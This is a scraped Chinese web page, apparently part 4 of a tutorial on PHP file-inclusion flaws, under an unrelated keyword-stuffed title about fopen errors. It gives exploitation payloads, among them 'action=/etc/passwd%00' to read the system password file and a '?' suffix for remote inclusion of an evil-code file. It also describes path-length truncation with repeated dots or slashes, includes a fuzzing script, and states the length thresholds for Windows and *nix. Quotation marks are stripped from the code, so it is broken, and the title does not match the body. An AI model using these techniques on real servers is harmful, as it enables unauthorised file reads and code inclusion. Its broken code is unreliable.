1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > php fopen 找不着文件 fopen 系统找不到指定路径 PHP文件包含详细讲述(4)

php fopen 找不着文件 fopen 系统找不到指定路径 PHP文件包含详细讲述(4)

时间:2022-04-20 09:11:30

相关推荐

php fopen 找不着文件 fopen 系统找不到指定路径 PHP文件包含详细讲述(4)

test.txt 代码

结果截断失败,改下代码:

$webpath = dirname(__FILE__)."/";

$filepath = "test.txt";

for($i =1;$i<1000;$i++){

$filepath .= .;

}

include $filepath.".php"; //相对路径

?>

这次成功。

以上是windows下的方法,其实linux也可以:

include截断

include $_GET[action].".php";

?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?

肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

var5.php代码:

include $_GET[action].".php";

print strlen(realpath("./"))+strlen($_GET[action]);

///

ini_set(max_execution_time, 0);

$str=;

for($i=0;$i<50000;$i++)

{

$str=$str."/";

$resp=file_get_contents(http://127.0.0.1/var/var5.php?action=1.txt.$str);

//1.txt里的代码为print hi;

if (strpos($resp, hi) !== false){

print $i;

exit;

}

}

?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET[action])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#最先发现])

推荐文章:

关于PHP文件包含一些漏洞分析

关于PHP文件包含一些漏洞分析。fopen 系统找不到指定路径文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。